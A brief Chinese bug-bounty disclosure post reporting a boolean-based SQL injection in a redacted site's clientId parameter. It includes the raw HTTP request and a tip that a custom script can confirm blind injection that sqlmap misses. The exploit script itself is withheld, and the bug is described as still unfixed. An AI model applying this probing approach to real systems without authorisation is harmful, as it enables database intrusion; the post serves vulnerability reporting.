高危XX某站SQL注入

Posted 2020-10-20 huim

RANK 24

金币    24

等价RMB  240

与上一漏洞同源所以只有24

 

数据包:

GET /check?clientId=64915 HTTP/1.1

Host: aaa.bbb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/62.0.3202.89 Safari/537.36

Accept: */*

Cookie:XX

Connection: close

 

clientId参数存在布尔型注入,sqlmap没注出来数据,所以写了个脚本验证

脚本

按照惯例，代码中可能泄露漏洞相关位置信息的都给去掉了，或者打码了。很新鲜，还未修好。

sqlmap跑不出，就是扫描器先跑出来，但是sqlmap验证不了，却又确实存在的，可以写脚本验证，这是一种思路吧。
